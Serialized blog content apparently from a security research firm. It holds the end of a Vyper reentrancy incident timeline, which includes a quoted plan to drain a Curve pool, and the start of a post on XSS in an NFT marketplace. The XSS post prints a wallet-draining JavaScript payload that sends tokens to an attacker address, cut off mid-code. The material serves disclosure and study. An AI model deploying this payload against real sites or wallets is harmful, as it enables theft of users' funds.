True\n",{"type":23,"tag":134,"props":30208,"children":30209},{"class":136,"line":332},[30210],{"type":23,"tag":134,"props":30211,"children":30212},{"emptyLinePlaceholder":15},[30213],{"type":28,"value":865},{"type":23,"tag":134,"props":30215,"children":30216},{"class":136,"line":438},[30217],{"type":23,"tag":134,"props":30218,"children":30219},{"style":264},[30220],{"type":28,"value":30138},{"type":23,"tag":134,"props":30222,"children":30223},{"class":136,"line":466},[30224,30228,30232,30236],{"type":23,"tag":134,"props":30225,"children":30226},{"style":264},[30227],{"type":28,"value":30146},{"type":23,"tag":134,"props":30229,"children":30230},{"style":179},[30231],{"type":28,"value":272},{"type":23,"tag":134,"props":30233,"children":30234},{"style":1461},[30235],{"type":28,"value":30155},{"type":23,"tag":134,"props":30237,"children":30238},{"style":179},[30239],{"type":28,"value":329},{"type":23,"tag":134,"props":30241,"children":30242},{"class":136,"line":479},[30243,30247,30252,30256,30260,30264,30268],{"type":23,"tag":134,"props":30244,"children":30245},{"style":151},[30246],{"type":28,"value":30167},{"type":23,"tag":134,"props":30248,"children":30249},{"style":264},[30250],{"type":28,"value":30251}," test2",{"type":23,"tag":134,"props":30253,"children":30254},{"style":179},[30255],{"type":28,"value":272},{"type":23,"tag":134,"props":30257,"children":30258},{"style":162},[30259],{"type":28,"value":30181},{"type":23,"tag":134,"props":30261,"children":30262},{"style":179},[30263],{"type":28,"value":30186},{"type":23,"tag":134,"props":30265,"children":30266},{"style":597},[30267],{"type":28,"value":29179},{"type":23,"tag":134,"props":30269,"children":30270},{"style":179},[30271],{"type":28,"value":5023},{"type":23,"tag":134,"props":30273,"children":30274},{"class":136,"line":497},[30275,30279],{"type":23,"tag":134,"props":30276,"children":30277},{"style":189},[30278],{"type":28,"value":16461},{"type":23,"tag":134,"props":30280,"children":30281},{"style":151},[30282],{"type":28,"value":30283}," False\n",{"type":23,"tag":24,"props":30285,"children":30286},{},[30287],{"type":28,"value":30288},"This was not just another reentrancy bug.",{"type":23,"tag":24,"props":30290,"children":30291},{},[30292],{"type":28,"value":30293},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":24,"props":30295,"children":30296},{},[30297,30302],{"type":23,"tag":2532,"props":30298,"children":30299},{},[30300],{"type":28,"value":30301},"14:37 UTC",{"type":28,"value":30303}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":24,"props":30305,"children":30306},{},[30307],{"type":23,"tag":1116,"props":30308,"children":30310},{"alt":7,"src":30309},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":24,"props":30312,"children":30313},{},[30314],{"type":28,"value":30315},"It was a race with the hackers.",{"type":23,"tag":24,"props":30317,"children":30318},{},[30319],{"type":28,"value":30320},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":78,"props":30322,"children":30323},{},[30324],{"type":23,"tag":24,"props":30325,"children":30326},{},[30327,30329],{"type":28,"value":30328},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":31,"props":30330,"children":30333},{"href":30331,"rel":30332},"https://twitter.com/hexagate_/status/1685677801813217280",[35],[30334],{"type":28,"value":30331},{"type":23,"tag":24,"props":30336,"children":30337},{},[30338],{"type":28,"value":30339},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":24,"props":30341,"children":30342},{},[30343,30348,30349,30356],{"type":23,"tag":2532,"props":30344,"children":30345},{},[30346],{"type":28,"value":30347},"14:50 UTC",{"type":28,"value":5915},{"type":23,"tag":31,"props":30350,"children":30353},{"href":30351,"rel":30352},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[35],[30354],{"type":28,"value":30355},"msETH/ETH was drained",{"type":28,"value":720},{"type":23,"tag":24,"props":30358,"children":30359},{},[30360,30365,30366,30373],{"type":23,"tag":2532,"props":30361,"children":30362},{},[30363],{"type":28,"value":30364},"15:34 UTC",{"type":28,"value":5915},{"type":23,"tag":31,"props":30367,"children":30370},{"href":30368,"rel":30369},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[35],[30371],{"type":28,"value":30372},"alETH/ETH was drained",{"type":28,"value":720},{"type":23,"tag":24,"props":30375,"children":30376},{},[30377,30382,30384,30391],{"type":23,"tag":2532,"props":30378,"children":30379},{},[30380],{"type":28,"value":30381},"15:43 UTC",{"type":28,"value":30383}," We identified that ",{"type":23,"tag":31,"props":30385,"children":30388},{"href":30386,"rel":30387},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[35],[30389],{"type":28,"value":30390},"CRV/ETH was vulnerable",{"type":28,"value":30392},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":24,"props":30394,"children":30395},{},[30396,30401],{"type":23,"tag":2532,"props":30397,"children":30398},{},[30399],{"type":28,"value":30400},"16:11 UTC",{"type":28,"value":30402}," We began working on a whitehat exploit.",{"type":23,"tag":24,"props":30404,"children":30405},{},[30406,30408,30415],{"type":28,"value":30407},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":31,"props":30409,"children":30412},{"href":30410,"rel":30411},"https://twitter.com/vyperlang/status/1685692973051498497",[35],[30413],{"type":28,"value":30414},"public statement on affected versions",{"type":28,"value":720},{"type":23,"tag":24,"props":30417,"children":30418},{},[30419],{"type":28,"value":30420},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":24,"props":30422,"children":30423},{},[30424,30426,30433],{"type":28,"value":30425},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":31,"props":30427,"children":30430},{"href":30428,"rel":30429},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[35],[30431],{"type":28,"value":30432},"somebody else stole the funds",{"type":28,"value":720},{"type":23,"tag":24,"props":30435,"children":30436},{},[30437],{"type":28,"value":30438},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":24,"props":30440,"children":30441},{},[30442],{"type":28,"value":30443},"Nevertheless, there was more ground to cover.",{"type":23,"tag":24,"props":30445,"children":30446},{},[30447,30452],{"type":23,"tag":2532,"props":30448,"children":30449},{},[30450],{"type":28,"value":30451},"21:26 UTC",{"type":28,"value":30453}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":78,"props":30455,"children":30456},{},[30457],{"type":23,"tag":24,"props":30458,"children":30459},{},[30460,30462,30466,30468,30471,30473,30476,30478],{"type":28,"value":30461},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":30463,"props":30464,"children":30465},"br",{},[],{"type":28,"value":30467},"\nyou can then update admin fee ",{"type":23,"tag":30463,"props":30469,"children":30470},{},[],{"type":28,"value":30472},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":30463,"props":30474,"children":30475},{},[],{"type":28,"value":30477},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":30463,"props":30479,"children":30480},{},[],{"type":23,"tag":24,"props":30482,"children":30483},{},[30484,30489],{"type":23,"tag":2532,"props":30485,"children":30486},{},[30487],{"type":28,"value":30488},"21:52 UTC",{"type":28,"value":30490}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":24,"props":30492,"children":30493},{},[30494,30496,30503,30505,30512,30520],{"type":28,"value":30495},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":31,"props":30497,"children":30500},{"href":30498,"rel":30499},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[35],[30501],{"type":28,"value":30502},"CRV admin fee bot",{"type":28,"value":30504}," had claimed fees and ",{"type":23,"tag":31,"props":30506,"children":30509},{"href":30507,"rel":30508},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[35],[30510],{"type":28,"value":30511},"the pool was drained",{"type":23,"tag":14943,"props":30513,"children":30514},{},[30515],{"type":23,"tag":31,"props":30516,"children":30518},{"href":29117,"ariaDescribedBy":30517,"dataFootnoteRef":7,"id":29119},[14950],[30519],{"type":28,"value":1214},{"type":28,"value":720},{"type":23,"tag":61,"props":30522,"children":30524},{"id":30523},"blame",[30525],{"type":28,"value":30526},"Blame",{"type":23,"tag":24,"props":30528,"children":30529},{},[30530,30534],{"type":23,"tag":55,"props":30531,"children":30532},{},[30533],{"type":28,"value":30526},{"type":28,"value":30535}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":9072,"props":30537,"children":30539},{"id":30538},"races",[30540],{"type":28,"value":30541},"Races",{"type":23,"tag":24,"props":30543,"children":30544},{},[30545],{"type":28,"value":30546},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":24,"props":30548,"children":30549},{},[30550],{"type":28,"value":30551},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":24,"props":30553,"children":30554},{},[30555],{"type":28,"value":30556},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":9072,"props":30558,"children":30560},{"id":30559},"information-leakage",[30561],{"type":28,"value":30562},"Information Leakage",{"type":23,"tag":24,"props":30564,"children":30565},{},[30566],{"type":28,"value":30567},"I was both an auditor and a whitehat.",{"type":23,"tag":24,"props":30569,"children":30570},{},[30571,30573,30580],{"type":28,"value":30572},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":31,"props":30574,"children":30577},{"href":30575,"rel":30576},"https://twitter.com/osec_io/status/1579969927020412929",[35],[30578],{"type":28,"value":30579},"by publishing the \"scoop\"",{"type":28,"value":30581}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":24,"props":30583,"children":30584},{},[30585],{"type":28,"value":30586},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":24,"props":30588,"children":30589},{},[30590],{"type":28,"value":30591},"Half an hour more could have saved $18M.",{"type":23,"tag":24,"props":30593,"children":30594},{},[30595],{"type":28,"value":30596},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":61,"props":30598,"children":30600},{"id":30599},"next-steps",[30601],{"type":28,"value":30602},"Next Steps",{"type":23,"tag":24,"props":30604,"children":30605},{},[30606],{"type":28,"value":30607},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":24,"props":30609,"children":30610},{},[30611,30613,30620],{"type":28,"value":30612},"It's important to note that this bug ",{"type":23,"tag":31,"props":30614,"children":30617},{"href":30615,"rel":30616},"https://twitter.com/real_philogy/status/1685948253139857409",[35],[30618],{"type":28,"value":30619},"was patched since November 2021",{"type":28,"value":720},{"type":23,"tag":78,"props":30622,"children":30623},{},[30624],{"type":23,"tag":24,"props":30625,"children":30626},{},[30627,30629,30634,30635,30638,30640,30645],{"type":28,"value":30628},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":55,"props":30630,"children":30631},{},[30632],{"type":28,"value":30633},"processes",{"type":28,"value":18006},{"type":23,"tag":30463,"props":30636,"children":30637},{},[],{"type":28,"value":30639},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":55,"props":30641,"children":30642},{},[30643],{"type":28,"value":30644},"was",{"type":28,"value":30646}," fixed.",{"type":23,"tag":24,"props":30648,"children":30649},{},[30650],{"type":28,"value":30651},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":17896,"props":30653,"children":30655},{"className":30654,"dataFootnotes":7},[17899],[30656,30661],{"type":23,"tag":61,"props":30657,"children":30659},{"className":30658,"id":14950},[17904],[30660],{"type":28,"value":17907},{"type":23,"tag":4890,"props":30662,"children":30663},{},[30664],{"type":23,"tag":4894,"props":30665,"children":30666},{"id":29860},[30667,30669],{"type":28,"value":30668},"Thankfully, these funds were later returned. ",{"type":23,"tag":31,"props":30670,"children":30672},{"href":29888,"ariaLabel":18010,"className":30671,"dataFootnoteBackref":7},[18012],[30673],{"type":28,"value":18015},{"type":23,"tag":2575,"props":30675,"children":30676},{},[30677],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":30679},[30680,30681,30685,30686],{"id":29955,"depth":147,"text":29958},{"id":30523,"depth":147,"text":30526,"children":30682},[30683,30684],{"id":30538,"depth":185,"text":30541},{"id":30559,"depth":185,"text":30562},{"id":30599,"depth":147,"text":30602},{"id":14950,"depth":147,"text":17907},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":30691,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30692,"description":30693,"author":30694,"image":30697,"date":30699,"isFeatured":15,"tags":30700,"onBlogPage":15,"body":30703,"_type":2586,"_id":34916,"_source":2588,"_file":34917,"_stem":34918,"_extension":2591},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[30695,30696],"caue","bruno",{"src":30698,"height":13091,"width":13091},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[30701,30702],"nft-marketplaces","xss",{"type":20,"children":30704,"toc":34899},[30705,30709,30714,30718,30723,30728,30733,30749,30755,30768,30790,30797,30802,30809,30814,30820,30825,30830,30835,30840,30851,30856,31825,31835,31847,31854,31859,32681,32686,32691,32696,32701,33485,33490,33572,33577,33646,33652,33657,33662,33889,33902,33907,33912,33917,33924,33929,33936,33942,33947,33952,33957,34276,34281,34287,34303,34309,34314,34319,34329,34334,34339,34348,34353,34359,34375,34388,34393,34398,34418,34425,34430,34437,34446,34451,34472,34525,34530,34581,34595,34600,34614,34729,34752,34836,34859,34864,34869,34874,34879,34884,34890,34895],{"type":23,"tag":61,"props":30706,"children":30707},{"id":28508},[30708],{"type":28,"value":28511},{"type":23,"tag":24,"props":30710,"children":30711},{},[30712],{"type":28,"value":30713},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":9072,"props":30715,"children":30716},{"id":63},[30717],{"type":28,"value":66},{"type":23,"tag":24,"props":30719,"children":30720},{},[30721],{"type":28,"value":30722},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":24,"props":30724,"children":30725},{},[30726],{"type":28,"value":30727},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":61,"props":30729,"children":30730},{"id":30702},[30731],{"type":28,"value":30732},"XSS",{"type":23,"tag":24,"props":30734,"children":30735},{},[30736],{"type":23,"tag":55,"props":30737,"children":30738},{},[30739,30741,30748],{"type":28,"value":30740},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":31,"props":30742,"children":30745},{"href":30743,"rel":30744},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[35],[30746],{"type":28,"value":30747},"even explain it to myself",{"type":28,"value":720},{"type":23,"tag":9072,"props":30750,"children":30752},{"id":30751},"managing-metadata",[30753],{"type":28,"value":30754},"Managing Metadata",{"type":23,"tag":24,"props":30756,"children":30757},{},[30758,30760,30767],{"type":28,"value":30759},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":31,"props":30761,"children":30764},{"href":30762,"rel":30763},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[35],[30765],{"type":28,"value":30766},"payloads",{"type":28,"value":720},{"type":23,"tag":24,"props":30769,"children":30770},{},[30771,30773,30780,30782,30788],{"type":28,"value":30772},"We showcase this vulnerability in the ",{"type":23,"tag":31,"props":30774,"children":30777},{"href":30775,"rel":30776},"https://rocki.com/",[35],[30778],{"type":28,"value":30779},"Rocki Marketplace",{"type":28,"value":30781},". The ",{"type":23,"tag":92,"props":30783,"children":30785},{"className":30784},[],[30786],{"type":28,"value":30787},"artistDescription",{"type":28,"value":30789}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":24,"props":30791,"children":30792},{},[30793],{"type":23,"tag":1116,"props":30794,"children":30796},{"alt":7,"src":30795},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":24,"props":30798,"children":30799},{},[30800],{"type":28,"value":30801},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":24,"props":30803,"children":30804},{},[30805],{"type":23,"tag":1116,"props":30806,"children":30808},{"alt":7,"src":30807},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":24,"props":30810,"children":30811},{},[30812],{"type":28,"value":30813},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":9072,"props":30815,"children":30817},{"id":30816},"wheres-my-wallet",[30818],{"type":28,"value":30819},"Where's My Wallet",{"type":23,"tag":24,"props":30821,"children":30822},{},[30823],{"type":28,"value":30824},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":24,"props":30826,"children":30827},{},[30828],{"type":28,"value":30829},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":24,"props":30831,"children":30832},{},[30833],{"type":28,"value":30834},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":24,"props":30836,"children":30837},{},[30838],{"type":28,"value":30839},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":30841,"props":30842,"children":30844},"div",{"style":30843},"display:flex; align-items:center; flex-direction:column;",[30845],{"type":23,"tag":1116,"props":30846,"children":30850},{"src":30847,"alt":30848,"style":30849},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":24,"props":30852,"children":30853},{},[30854],{"type":28,"value":30855},"And here we can find the code used to achieve it :",{"type":23,"tag":87,"props":30857,"children":30861},{"className":30858,"code":30859,"language":30860,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[30862],{"type":23,"tag":92,"props":30863,"children":30864},{"__ignoreMap":7},[30865,30882,30927,30956,30972,31035,31070,31095,31120,31127,31147,31155,31171,31183,31191,31208,31225,31233,31240,31256,31272,31279,31287,31304,31316,31323,31339,31355,31362,31369,31386,31393,31401,31408,31455,31462,31526,31533,31553,31569,31585,31606,31677,31693,31700,31707,31745,31753,31760,31767,31774,31795],{"type":23,"tag":134,"props":30866,"children":30867},{"class":136,"line":137},[30868,30873,30878],{"type":23,"tag":134,"props":30869,"children":30870},{"style":151},[30871],{"type":28,"value":30872},"function",{"type":23,"tag":134,"props":30874,"children":30875},{"style":264},[30876],{"type":28,"value":30877}," request",{"type":23,"tag":134,"props":30879,"children":30880},{"style":179},[30881],{"type":28,"value":15206},{"type":23,"tag":134,"props":30883,"children":30884},{"class":136,"line":147},[30885,30890,30894,30899,30904,30908,30913,30918,30923],{"type":23,"tag":134,"props":30886,"children":30887},{"style":189},[30888],{"type":28,"value":30889},"  if",{"type":23,"tag":134,"props":30891,"children":30892},{"style":179},[30893],{"type":28,"value":232},{"type":23,"tag":134,"props":30895,"children":30896},{"style":151},[30897],{"type":28,"value":30898},"typeof",{"type":23,"tag":134,"props":30900,"children":30901},{"style":162},[30902],{"type":28,"value":30903}," window",{"type":23,"tag":134,"props":30905,"children":30906},{"style":179},[30907],{"type":28,"value":720},{"type":23,"tag":134,"props":30909,"children":30910},{"style":162},[30911],{"type":28,"value":30912},"ethereum",{"type":23,"tag":134,"props":30914,"children":30915},{"style":168},[30916],{"type":28,"value":30917}," ===",{"type":23,"tag":134,"props":30919,"children":30920},{"style":1461},[30921],{"type":28,"value":30922}," 'undefined'",{"type":23,"tag":134,"props":30924,"children":30925},{"style":179},[30926],{"type":28,"value":14272},{"type":23,"tag":134,"props":30928,"children":30929},{"class":136,"line":185},[30930,30935,30939,30943,30947,30952],{"type":23,"tag":134,"props":30931,"children":30932},{"style":162},[30933],{"type":28,"value":30934},"    console",{"type":23,"tag":134,"props":30936,"children":30937},{"style":179},[30938],{"type":28,"value":720},{"type":23,"tag":134,"props":30940,"children":30941},{"style":264},[30942],{"type":28,"value":14332},{"type":23,"tag":134,"props":30944,"children":30945},{"style":179},[30946],{"type":28,"value":272},{"type":23,"tag":134,"props":30948,"children":30949},{"style":1461},[30950],{"type":28,"value":30951},"'Please install MetaMask to use this feature.'",{"type":23,"tag":134,"props":30953,"children":30954},{"style":179},[30955],{"type":28,"value":1021},{"type":23,"tag":134,"props":30957,"children":30958},{"class":136,"line":221},[30959,30964,30968],{"type":23,"tag":134,"props":30960,"children":30961},{"style":179},[30962],{"type":28,"value":30963},"  } ",{"type":23,"tag":134,"props":30965,"children":30966},{"style":189},[30967],{"type":28,"value":490},{"type":23,"tag":134,"props":30969,"children":30970},{"style":179},[30971],{"type":28,"value":463},{"type":23,"tag":134,"props":30973,"children":30974},{"class":136,"line":332},[30975,30980,30984,30989,30994,30999,31004,31009,31014,31019,31023,31027,31031],{"type":23,"tag":134,"props":30976,"children":30977},{"style":162},[30978],{"type":28,"value":30979},"    ethereum",{"type":23,"tag":134,"props":30981,"children":30982},{"style":179},[30983],{"type":28,"value":720},{"type":23,"tag":134,"props":30985,"children":30986},{"style":264},[30987],{"type":28,"value":30988},"request",{"type":23,"tag":134,"props":30990,"children":30991},{"style":179},[30992],{"type":28,"value":30993},"({ ",{"type":23,"tag":134,"props":30995,"children":30996},{"style":162},[30997],{"type":28,"value":30998},"method:",{"type":23,"tag":134,"props":31000,"children":31001},{"style":1461},[31002],{"type":28,"value":31003}," 'eth_requestAccounts'",{"type":23,"tag":134,"props":31005,"children":31006},{"style":179},[31007],{"type":28,"value":31008}," }).",{"type":23,"tag":134,"props":31010,"children":31011},{"style":264},[31012],{"type":28,"value":31013},"then",{"type":23,"tag":134,"props":31015,"children":31016},{"style":179},[31017],{"type":28,"value":31018},"((",{"type":23,"tag":134,"props":31020,"children":31021},{"style":162},[31022],{"type":28,"value":14143},{"type":23,"tag":134,"props":31024,"children":31025},{"style":179},[31026],{"type":28,"value":252},{"type":23,"tag":134,"props":31028,"children":31029},{"style":151},[31030],{"type":28,"value":14290},{"type":23,"tag":134,"props":31032,"children":31033},{"style":179},[31034],{"type":28,"value":463},{"type":23,"tag":134,"props":31036,"children":31037},{"class":136,"line":438},[31038,31043,31048,31052,31057,31061,31065],{"type":23,"tag":134,"props":31039,"children":31040},{"style":151},[31041],{"type":28,"value":31042},"      const",{"type":23,"tag":134,"props":31044,"children":31045},{"style":162},[31046],{"type":28,"value":31047}," fromAddress",{"type":23,"tag":134,"props":31049,"children":31050},{"style":168},[31051],{"type":28,"value":171},{"type":23,"tag":134,"props":31053,"children":31054},{"style":162},[31055],{"type":28,"value":31056}," accounts",{"type":23,"tag":134,"props":31058,"children":31059},{"style":179},[31060],{"type":28,"value":924},{"type":23,"tag":134,"props":31062,"children":31063},{"style":205},[31064],{"type":28,"value":1224},{"type":23,"tag":134,"props":31066,"children":31067},{"style":179},[31068],{"type":28,"value":31069},"];\n",{"type":23,"tag":134,"props":31071,"children":31072},{"class":136,"line":466},[31073,31077,31082,31086,31091],{"type":23,"tag":134,"props":31074,"children":31075},{"style":151},[31076],{"type":28,"value":31042},{"type":23,"tag":134,"props":31078,"children":31079},{"style":162},[31080],{"type":28,"value":31081}," attackerAddress",{"type":23,"tag":134,"props":31083,"children":31084},{"style":168},[31085],{"type":28,"value":171},{"type":23,"tag":134,"props":31087,"children":31088},{"style":1461},[31089],{"type":28,"value":31090}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":134,"props":31092,"children":31093},{"style":179},[31094],{"type":28,"value":182},{"type":23,"tag":134,"props":31096,"children":31097},{"class":136,"line":479},[31098,31102,31107,31111,31116],{"type":23,"tag":134,"props":31099,"children":31100},{"style":151},[31101],{"type":28,"value":31042},{"type":23,"tag":134,"props":31103,"children":31104},{"style":162},[31105],{"type":28,"value":31106}," contractAddress",{"type":23,"tag":134,"props":31108,"children":31109},{"style":168},[31110],{"type":28,"value":171},{"type":23,"tag":134,"props":31112,"children":31113},{"style":1461},[31114],{"type":28,"value":31115}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":134,"props":31117,"children":31118},{"style":179},[31119],{"type":28,"value":182},{"type":23,"tag":134,"props":31121,"children":31122},{"class":136,"line":497},[31123],{"type":23,"tag":134,"props":31124,"children":31125},{"emptyLinePlaceholder":15},[31126],{"type":28,"value":865},{"type":23,"tag":134,"props":31128,"children":31129},{"class":136,"line":518},[31130,31134,31139,31143],{"type":23,"tag":134,"props":31131,"children":31132},{"style":151},[31133],{"type":28,"value":7534},{"type":23,"tag":134,"props":31135,"children":31136},{"style":162},[31137],{"type":28,"value":31138}," tokenAbi",{"type":23,"tag":134,"props":31140,"children":31141},{"style":168},[31142],{"type":28,"value":171},{"type":23,"tag":134,"props":31144,"children":31145},{"style":179},[31146],{"type":28,"value":25112},{"type":23,"tag":134,"props":31148,"children":31149},{"class":136,"line":527},[31150],{"type":23,"tag":134,"props":31151,"children":31152},{"style":179},[31153],{"type":28,"value":31154},"        {\n",{"type":23,"tag":134,"props":31156,"children":31157},{"class":136,"line":780},[31158,31163,31167],{"type":23,"tag":134,"props":31159,"children":31160},{"style":162},[31161],{"type":28,"value":31162},"          constant:",{"type":23,"tag":134,"props":31164,"children":31165},{"style":151},[31166],{"type":28,"value":8519},{"type":23,"tag":134,"props":31168,"children":31169},{"style":179},[31170],{"type":28,"value":687},{"type":23,"tag":134,"props":31172,"children":31173},{"class":136,"line":797},[31174,31179],{"type":23,"tag":134,"props":31175,"children":31176},{"style":162},[31177],{"type":28,"value":31178},"          inputs:",{"type":23,"tag":134,"props":31180,"children":31181},{"style":179},[31182],{"type":28,"value":25112},{"type":23,"tag":134,"props":31184,"children":31185},{"class":136,"line":814},[31186],{"type":23,"tag":134,"props":31187,"children":31188},{"style":179},[31189],{"type":28,"value":31190},"            {\n",{"type":23,"tag":134,"props":31192,"children":31193},{"class":136,"line":827},[31194,31199,31204],{"type":23,"tag":134,"props":31195,"children":31196},{"style":162},[31197],{"type":28,"value":31198},"              name:",{"type":23,"tag":134,"props":31200,"children":31201},{"style":1461},[31202],{"type":28,"value":31203}," '_to'",{"type":23,"tag":134,"props":31205,"children":31206},{"style":179},[31207],{"type":28,"value":687},{"type":23,"tag":134,"props":31209,"children":31210},{"class":136,"line":836},[31211,31216,31221],{"type":23,"tag":134,"props":31212,"children":31213},{"style":162},[31214],{"type":28,"value":31215},"              type:",{"type":23,"tag":134,"props":31217,"children":31218},{"style":1461},[31219],{"type":28,"value":31220}," 'address'",{"type":23,"tag":134,"props":31222,"children":31223},{"style":179},[31224],{"type":28,"value":687},{"type":23,"tag":134,"props":31226,"children":31227},{"class":136,"line":859},[31228],{"type":23,"tag":134,"props":31229,"children":31230},{"style":179},[31231],{"type":28,"value":31232},"            